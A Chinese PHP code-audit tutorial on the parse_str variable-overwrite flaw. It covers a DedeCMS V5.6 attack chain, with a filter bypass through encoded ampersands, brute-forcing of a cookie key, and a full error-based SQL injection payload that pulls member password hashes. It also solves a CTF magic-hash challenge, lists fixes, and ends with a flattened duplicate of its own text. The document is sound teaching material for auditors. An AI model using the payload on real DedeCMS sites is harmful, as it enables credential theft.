[红日安全]代码审计Day7 - parse_str函数缺陷
字数 1326 2025-08-18 11:37:33

PHP代码审计:parse_str函数缺陷与变量覆盖漏洞

1. parse_str函数基础

1.1 函数定义

parse_str函数用于解析字符串并注册为变量:

void parse_str(string $encoded_string [, array &$result])

1.2 功能特性

  • 将URL查询字符串解析为变量并设置到当前作用域
  • 如果提供第二个数组参数,则结果会存入该数组而非当前作用域
  • 关键缺陷:在注册变量前不会验证当前变量是否存在,会直接覆盖当前作用域中的原有变量

2. 漏洞原理分析

2.1 典型漏洞场景

$a = "hongri";
$id = $_GET['id'];
@parse_str($id); // 危险:可能覆盖$a变量

2.2 漏洞利用方式

通过构造特殊参数覆盖已有变量:

?id=a[0]=240610708

这将导致$a[0]被覆盖为攻击者指定的值

3. 实际案例分析:DedeCMS V5.6漏洞

3.1 漏洞位置

member/buy_action.php文件中存在以下关键代码:

$pd_encode = $_REQUEST['pd_encode'];
parse_str(mchStrCode($pd_encode, 'DECODE'), $mch_Post);
foreach($mch_Post as $k => $v) {
    
$$
k = $v; // 变量覆盖漏洞
}

3.2 漏洞利用链

  1. 攻击者控制pd_encode参数
  2. 参数经过mchStrCode解码
  3. parse_str解析后产生变量覆盖
  4. 通过foreach循环将数组键名注册为变量

3.3 关键函数分析:mchStrCode

function mchStrCode($string, $action = 'ENCODE') {
    $key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    // ...加密/解密逻辑...
}
  • 加密密钥由User-Agentcfg_cookie_encode组合生成
  • cfg_cookie_encode可通过暴力破解获取(26^6*(9999-1000)种可能)

4. 漏洞利用技巧

4.1 绕过过滤机制

原始过滤代码(common.inc.php):

foreach($_REQUEST as $_k => $_v) {
    if(strlen($_k) > 0 && preg_match('/^(GLOBALS|_GET|_POST|_COOKIE|_SERVER)/i',$_k)) {
        exit('Request var not allow!');
    }
}

绕过方法
利用$_REQUESTparse_str解析差异:

  • 提交:a=1&b=2%26c=3
  • $_REQUEST解析为:[a=1, b=2%26c=3]
  • parse_str解析为:[a=1, b=2, c=3]

4.2 完整利用步骤

  1. 构造SQL注入payload:
product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
  1. 获取系统生成的pd_encodepd_verify

  2. 构造最终攻击URL:

http://target.com/member/buy_action.php?pd_encode=...&pd_verify=...

5. 修复方案

5.1 安全使用parse_str

// 安全用法:使用数组参数
parse_str($input, $output);
// 然后手动处理$output数组中的值

5.2 变量覆盖防护

// 使用extract时的安全配置
extract($input_array, EXTR_SKIP); // 遇到冲突跳过

5.3 补丁对比

DedeCMS V5.7.36补丁主要改进:

  1. 加强mchStrCode加密强度
  2. 修改cfg_cookie_encode生成方式
  3. 增加输入验证

6. CTF题目分析

6.1 题目代码

$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}

6.2 解题思路

  1. 利用parse_str覆盖$a[0]
  2. 利用PHP弱类型比较漏洞(MD5碰撞)
  3. 已知QNKCDZO的MD5是0e830400451993494058024219903391

6.3 解决方案

构造payload:

?id=a[0]=240610708

因为:

  • md5('240610708') = "0e462097431906509019562988736854"
  • PHP会将其与0e830400451993494058024219903391进行弱类型比较(都视为0)

7. 总结

  1. parse_str函数使用不当会导致变量覆盖漏洞

  2. 结合其他漏洞(如加密函数缺陷)可形成完整攻击链

  3. 防御措施:

    • 避免直接使用parse_str注册变量
    • 使用数组参数形式
    • 对用户输入进行严格过滤
    • 使用extract时设置EXTR_SKIP参数
  4. 审计时重点关注:

    • parse_str/extract的使用
    • 变量覆盖可能性
    • 加密/解密函数的安全性
PHP代码审计:parse_ str函数缺陷与变量覆盖漏洞 1. parse_ str函数基础 1.1 函数定义 parse_str 函数用于解析字符串并注册为变量: 1.2 功能特性 将URL查询字符串解析为变量并设置到当前作用域 如果提供第二个数组参数,则结果会存入该数组而非当前作用域 关键缺陷 :在注册变量前不会验证当前变量是否存在,会直接覆盖当前作用域中的原有变量 2. 漏洞原理分析 2.1 典型漏洞场景 2.2 漏洞利用方式 通过构造特殊参数覆盖已有变量: 这将导致 $a[0] 被覆盖为攻击者指定的值 3. 实际案例分析:DedeCMS V5.6漏洞 3.1 漏洞位置 member/buy_action.php 文件中存在以下关键代码: 3.2 漏洞利用链 攻击者控制 pd_encode 参数 参数经过 mchStrCode 解码 parse_str 解析后产生变量覆盖 通过 foreach 循环将数组键名注册为变量 3.3 关键函数分析:mchStrCode 加密密钥由 User-Agent 和 cfg_cookie_encode 组合生成 cfg_cookie_encode 可通过暴力破解获取(26^6* (9999-1000)种可能) 4. 漏洞利用技巧 4.1 绕过过滤机制 原始过滤代码( common.inc.php ): 绕过方法 : 利用 $_REQUEST 与 parse_str 解析差异: 提交: a=1&b=2%26c=3 $_REQUEST 解析为: [a=1, b=2%26c=3] parse_str 解析为: [a=1, b=2, c=3] 4.2 完整利用步骤 构造SQL注入payload: 获取系统生成的 pd_encode 和 pd_verify 值 构造最终攻击URL: 5. 修复方案 5.1 安全使用parse_ str 5.2 变量覆盖防护 5.3 补丁对比 DedeCMS V5.7.36补丁主要改进: 加强 mchStrCode 加密强度 修改 cfg_cookie_encode 生成方式 增加输入验证 6. CTF题目分析 6.1 题目代码 6.2 解题思路 利用parse_ str覆盖 $a[0] 利用PHP弱类型比较漏洞(MD5碰撞) 已知 QNKCDZO 的MD5是 0e830400451993494058024219903391 6.3 解决方案 构造payload: 因为: md5('240610708') = "0e462097431906509019562988736854" PHP会将其与 0e830400451993494058024219903391 进行弱类型比较(都视为0) 7. 总结 parse_ str 函数使用不当会导致变量覆盖漏洞 结合其他漏洞(如加密函数缺陷)可形成完整攻击链 防御措施: 避免直接使用parse_ str注册变量 使用数组参数形式 对用户输入进行严格过滤 使用extract时设置EXTR_ SKIP参数 审计时重点关注: parse_ str/extract的使用 变量覆盖可能性 加密/解密函数的安全性